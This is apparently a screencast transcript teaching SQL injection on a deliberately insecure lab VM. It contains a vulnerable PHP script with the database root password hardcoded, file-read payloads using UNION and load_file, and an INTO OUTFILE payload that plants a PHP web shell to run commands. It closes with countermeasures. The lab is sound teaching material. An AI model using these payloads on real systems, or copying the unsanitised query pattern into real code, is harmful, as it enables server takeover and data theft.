• #HITB2013AMS D1T2 Tal Zeltzer - Analysis to Remote Root 0day in a SSL-VPN Appliance
• Episode #4 - Vagrant
• SQL Injection Attacks by Example
• MySQL 5.0 Manual: LOAD_FILE(file_name)
• MySQL 5.0 Manual: 13.2.8.1. SELECT ... INTO Syntax
• Blackhat U.S.A 2009: Advanced MySQL Exploitation

In this episode, I am going to show you what a SQL injection attack is, along with how it works, and then we will look at several methods to prevent them. We will also look at how a SQL injection attack can reach far beyond the database.

So what is a SQL injection attack anyways? Well, I think it is best described through illustrations at a high level. Lets say that you are hosting a blog. Then Joe user comes along and make a request to your blog. He asks for example.com/blog/12, the 12 being the 12th blog post. You happen to be running an apache, php, and mysql application stack. Your blog software queries the database asking for the 12th blog post. The SQL statement will probably looks something like this, select * from blog where id = 12. You will notice that the 12 from the url and the 12 in the SQL select statement are the same. That is because we are using user supplied data to query the database. This can be extremely dangerous if the user input is not filtered correctly. What do I mean by extremely dangerous? Well, if the user input is not filtered correctly, an attacker can execute other SQL statements by playing around with the user input.

Lets say for example that an attacker comes along and after playing around with you blog for a while noticed a SQL injection vulnerability. So the attacker crafts a special request to test his assumption. You will notice that his blog request obviously looks strange. Again, we have a apache, php, and mysql application stack. Our application takes our user input and constructs a SQL statement, but what does it look like? Select * from blog where id = 12 or id = 13. That looks weird, but it is actually a valid request. In this example, there is no user input filtering happening, which should at the least filter out the user provided quotes in the input. You will notice that I played around with the quotes, to make sure our SQL statement was escaped properly, this is to ensure it was valid.

This is how SQL injection works at a high level. There is actually a really great site called SQL Injection Attacks by Example, I have provided the link in the episode notes below. The site will show you just how nasty SQL injection attacks can be. There are examples to update records, insert new data, delete tables, amongst other things.

I got the idea for this episode, while watching a YouTube video of a security researcher, who was looking for vulnerabilities in a VPN appliance. I highly recommend watching the video. I have provided the link is in the episode nodes below. I think it is useful because it shows you how and attacker will reverse engineer your infrastructure to find weaknesses. In the video, around the 22 minute mark, a SQL injection vulnerability is found, the researcher leverages this SQL injection vulnerability to read and write files to the host operating system with an interesting outcome.

I was thinking it would be neat to configure a virtual machine with Apache, PHP, and MySQL to see how SQL injection attacks work in real life. Just a word of warning before we jump in, I am going to configure this server in a highly insecure manner, so do not duplicate my instructions in a production environment. I am going to be using Vagrant which we learned about in episode #4 to configure a CentOS 6.4 virtual machine along with the required application stack. Here is what my Vagrantfile looks like if you are interested. I am going to login and su to root so that we can get started.

Vagrant::Config.run do |config|

  # Every Vagrant virtual environment requires a box to build off of.

  config.vm.box = "centos64-x86_64-minimal"

  config.vm.forward_port 80, 8080

end

Lets disable SELinux as it will stop us from doing fun things, and I will show you why that is a bad idea later in the episode. Lets run getenforce to see the current status. Looks like SELinux is enforcing, so lets turn this off. We can run setenforce 0 to set it to permissive mode. To make the change persist across reboots you can edit /etc/sysconfig/selinux and change the SELINUX line to your desired mode.

Now, lets install our application stack by running yum install httpd php php-mysql and mysql-server. Do not worry about keeping tracking all these commands as I have put them into the episode notes below.

yum install httpd php php-mysql mysql-server

Now that we have the software install, lets configure the various bits and pieces. We can start with httpd. Lets run service httpd start to make sure httpd is started. Then we can run chkconfig httpd on to make sure it starts at boot. In this case we are probably not going to reboot this machine many times, but this is just a habit to make changes persist across reboots.

service httpd start
chkconfig httpd on

CentOS 6.4 runs a iptables firewall by default, so we will have to open up port 80 so httpd traffic can get through. Lets open up /etc/sysconfig/iptables, and you will see there is already a rule for allowing incoming ssh connections on port 22, we can just copy this rule and modify it for port 80. Next we can run service iptables restart to reload the firewall rules. We can verify the rule exists by running iptables -L -n and you can see the port 22 and port 80 rules exist.

vi /etc/sysconfig/iptables
-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
service iptables restart

Next we need to configure the mysql server. We can start the server by running service mysqld start. There is a bunch of output since this is a fresh install. Most of this talks about locking down the mysql server by setting a root password. Lets go ahead and do that by running mysqladmin -u root password and then our password. Now that we have that done, lets make sure mysqld starts on boot by running chkconfig mysqld on.

service mysqld start
/usr/bin/mysqladmin -u root password '3p1s0d3-two1'
chkconfig mysqld on

Okay, so at this point we have a virtual machine configured with httpd, a mysql server, and a firewall rule to allow external access to port 80. To get the SQL injection bit working we need to configure a mysql database and an example php script.

First lets log into mysql at the console and configuring an example database with some content. Lets run mysql -u root -p and enter the password we set earlier. I have copied the database creation scripts into the episode notes below, so if you wanted to duplicate my setup, you could. I am going to create a new database called episode21. Then I am going to use that database and create an example table called blog. It is a very simple table with id and data columns. Then we can input several records into the table to simulate real data. Okay, so we now have the database created, with a blog table, and some example data. Lets just run select * from blog to verify this. We can even simulate what our example php script will be doing, select * from blog where id = 1.

mysql -u root -p
show databases;

CREATE DATABASE episode21;
USE episode21;

CREATE TABLE `blog` (
  `id` int(11) DEFAULT NULL,
  `content` varchar(100) DEFAULT NULL
);

INSERT INTO `blog` VALUES (1,'testing 1.. 2.. 3..');
INSERT INTO `blog` VALUES (2,'testing 2.. 3.. 4..');
INSERT INTO `blog` VALUES (3,'testing 3.. 4.. 5..');

select * from blog;

This just about wraps up configuring our vulnerable mysql server, but to aid in the debugging process I want to turn on the mysql query log so that we can see what is happening behind the scenes when we are doing our SQL injection tests.

Lets edit the mysql configuration file, we are going to enable the general log and specify and output file. After we save the configuration file you need to create the log file. We need to touch /var/log/query.log and then change the ownership to mysql by running chown mysql:mysql /var/log/query.log. Then we can run service mysqld restart to refresh the mysql server setting. Then we can run tail -f /var/log/query.log to verify the log is actually working.

# enable logging

general_log=1

general_log_file=/var/log/query.log

touch /var/log/query.log
chown mysql:mysql /var/log/query.log

service mysqld restart
tail -f /var/log/query.log

cd /var/www/html
cat >blog.php

<?php

if (!$link = mysql_connect('localhost', 'root', '3p1s0d3-two1')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('episode21', $link)) {
    echo 'Could not select database episode21';
    exit;
}

$id = $_GET["id"];

$sql    = "SELECT * FROM blog where id = '$id'";
$result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

while ($row = mysql_fetch_assoc($result)) {
    echo $row['content'];
}

mysql_free_result($result);

?>

chown apache:apache blog.php
ls -l

Alright, so lets jump over to our browser and see what it looks like. You will notice that I have a browser in the top half and a terminal in the bottom. This is so we can watch the mysql query log as we execute our script. You will also notice that I am using localhost:8080 here, and it is getting proxies to the virtual machine on port 80, this is because Vagrant proxies the traffic for me, again, check out episode #4 if you are interested in Vagrant.

Now that we have our application stack configure, and the query log going, lets jump over to the blog.php script and try some examples. You will notice down in the query log that a SQL statement was executed with an empty id parameter. This is because we never provided one in the url. So, lets go back to the url and tack on id = 1. Great, it seems to be working, now lets try 2 and 3. This is exactly like we talked about at the beginning of the episode. Where an id of a blog post is provided to mysql and we try and fetch the content from the database. But you will also notice from our blog.php source code that we are not doing any type of filtering on the user input before it is provided to mysql. So, lets see what an attacker could do.

/blog.php?id=1

Like we talked about in the beginning of this episode, an attacker might craft a special request to test his assumption of a SQL injection vulnerability exists. Lets type id=1 quote or id = quote 3. Sure, this looks odd, but lets execute it. Looks like we were provided with two records! Down here, you can see what we were expecting the query to looks like, but there is actually this extra bit tacked on.

/blog.php?id=1' or id = '3

I mentioned in that SQL Injection Attacks by Example website earlier, you can do all types of nasty things to the database. But an attacker can also leverage the databases built in functions against the operating system to read and write files and ultimately execute commands.

We can use a built in mysql function called load_file to read files from the operating system and return them into a SQL statement. So, lets try that out. Lets type 1 quote union select 2, load_file /etc/passwd. Ouch that is painful, the attacker now knows what users exist on the system. You will also notice down here what our SQL statement looks like, and how we called the load_file function. But, we are only reading files as the mysql user, so we cannot read the shadow file for example. But an attacker might leverage this to read php configuration or other system configuration files to learn about other opportunities, which they can exploit.

/blog.php?id=1' UNION select 2, load_file("/etc/passwd")'

So, what about writing files? Well, mysql has a built in function for that too. You can save SQL results into an output of your choosing. So, lets say, 1 quote union select 2, and then we are going to type in a php string which we want to write into a file, using the output file mysql function, which we can then hopefully have the apache/php server execute for us. Lets just write this to /tmp/c.php for now. As you can see down here, the mysql server happily executed our command. Lets just quickly take a look at the file. Okay, so what about if we had an uploads directory on our blog to allow users to upload pictures or something. Maybe we do not have the most secure permissions because we do not know any better. Lets create an uploads directory under /var/www/html/ and make it world writable. So, lets try and write our php file using the SQL injection vulnerability into /var/www/html/uploads/. Looks like it worked! Our SQL statement, took the php code we provided, and wrote it into a file. Lets head over to the uploads directory and have a look. Our files exists and works. Lets try and run a couple commands, like ls -l / for example, or what about the id command, as you can see we are running commands as the apache user now.

/blog.php?id=1' UNION select 2, "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE '/tmp/c.php

/blog.php?id=1' UNION select 2, "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/uploads/c.php

http://localhost:8080/uploads/c.php?cmd=ls -l /

There is an even more advanced method for executing code that does not require an uploads directory. At the blackhat conference in 2009 it was demonstrated that you could write shellcode into a file located within /var/lib/mysql and then have mysql execute your code. This method does not require weak permissions on your apache directories and is pretty scary.

I think this highlights just how nasty SQL injection vulnerabilities are on any platform, since all you need is a couple lines of bad code, hidden away in a large application, and you can own an entire server. We made many bad choices configuring this server. You might be wondering what some countermeasures are.

First, turn SElinux on and leave it on. Selinux will not allow mysql to write files into /var/www/html since it is running in the httpd context, even if the directory was world writable. You should also collect and monitor the SElinux audit logs as they will act a great trigger.

Next, never use the mysql root account for your applications. You should always use role accounts and limit access to those role accounts via exclusive grants. Always disable file access!

Audit your httpd permissions.

You might notice that these suggestions only limit access to the file system for mysql. Each platform will have its own issues you need to worry about. If a SQL injection vulnerability exists in your application you are likely in for a bad day. I plan on doing a future episode on ways to filter user input before it hits your application. If you have any suggestions please email me.